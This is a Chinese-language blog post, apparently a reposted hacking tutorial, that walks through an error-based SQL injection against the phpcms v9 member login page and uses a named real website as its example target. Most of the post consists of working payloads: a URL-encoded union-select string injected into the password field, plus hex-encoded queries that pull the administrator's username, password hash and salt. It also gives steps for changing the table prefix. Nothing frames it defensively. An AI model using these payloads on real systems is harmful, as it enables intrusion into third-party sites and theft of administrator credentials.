• 业务合作 全媒体搜索+信息流,招商医疗保健品等行业竞价开户,请咨询客服QQ:40974387。
  • 业务合作 SEM竞价托管,竞价单页制作,网站制作,请咨询客服QQ:40974387。

phpcms v9坏半年最新未公开漏洞

我拿sl.china.com.cn 做教程

第一步:

http://sl.china.com.cn/index.php?m=member&c=index&a=login  访问这个地址(现在肯定是修复了)

随便填用户名和密码(先别点击登录)

phpcms

第二步:设置浏览器的代理模式
点击登录,获取登录包
第三步,我们用以下代码替换password

123456%26username%3d%2527%2bunion%2bselect%2b%25272999999%2527%252c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252c0x272C2873656C656374202831292066726F6D206D7973716C2E7573657220776865726520313D3120614E64202853454C45435420312046524F4D202873656C65637420636F756E74282A292C636F6E63617428666C6F6F722872616E642830292A32292C28737562737472696E67282853656C656374202873656C65637420636F6E63617428757365726E616D652C307833612C70617373776F72642C307833612C656E6372797074292066726F6D2076395F61646D696E206C696D697420302C3129292C312C3632292929612066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C65732067726F75702062792061296229292C27%252c111%252c222%252c0x33333333272923%252c444%252c555%252c666%252cnull%2523

第四步

返回如下错误,我们可以看到他说v9_admin表不存在,我们发现他表的前缀不对,我们需要改为sl_admin才对(如果是默认前缀v9的话,这一步就直接报用户名和密码和salt了)

第五步(如前缀非默认v9,按照如下步骤做)
用以下代码:

',(select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),    (substring((Select (select concat(username,0x3a,password,0x3a,encrypt) from v9_admin limit 0,1)),1,62)))a from information_schema.tables group by a)b)),'

我们将上面这段代码的v9_admin改为sl_admin

',(select 1 from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(username,0x3a,password,0x3a,encrypt) from sl_admin limit 0,1)),1,62)))a from information_schema.tables group by a)b)),'

用小葵转换器转换

我们选取hex的内容

0x272C2873656C656374202831292066726F6D206D7973716C2E7573657220776865726520313D3120614E64202853454C45435420312046524F4D202873656C65637420636F756E74282A292C636F6E63617428666C6F6F722872616E642830292A32292C28737562737472696E67282853656C656374202873656C65637420636F6E63617428757365726E616D652C307833612C70617373776F72642C307833612C656E6372797074292066726F6D20736C5F61646D696E206C696D697420302C3129292C312C3632292929612066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C65732067726F75702062792061296229292C27

我们把这部分内容复制出来

将我们之前的代码红色部分用他替换

123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252c0x272C2873656C656374202831292066726F6D206D7973716C2E7573657220776865726520313D3120614E64202853454C45435420312046524F4D202873656C65637420636F756E74282A292C636F6E63617428666C6F6F722872616E642830292A32292C28737562737472696E67282853656C656374202873656C65637420636F6E63617428757365726E616D652C307833612C70617373776F72642C307833612C656E6372797074292066726F6D2076395F61646D696E206C696D697420302C3129292C312C3632292929612066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C65732067726F75702062792061296229292C27%252c111%252c222%252c0x33333333272923%252c444%252c555%252c666%252cnull%2523

替换后为:

123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252c0x272C2873656C656374202831292066726F6D206D7973716C2E7573657220776865726520313D3120614E64202853454C45435420312046524F4D202873656C65637420636F756E74282A292C636F6E63617428666C6F6F722872616E642830292A32292C28737562737472696E67282853656C656374202873656C65637420636F6E63617428757365726E616D652C307833612C70617373776F72642C307833612C656E6372797074292066726F6D20736C5F61646D696E206C696D697420302C3129292C312C3632292929612066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C65732067726F75702062792061296229292C27%252c111%252c222%252c0x33333333272923%252c444%252c555%252c666%252cnull%2523

第五步:抓登录包,用以上内容替换成password

返回结果如图:

即可看到用户名和密码和salt了 。习科

手机阅读 | 转载注明:http://www.hekaiyu.cn/hacker/2190.html
LEAVE A REPLY
loading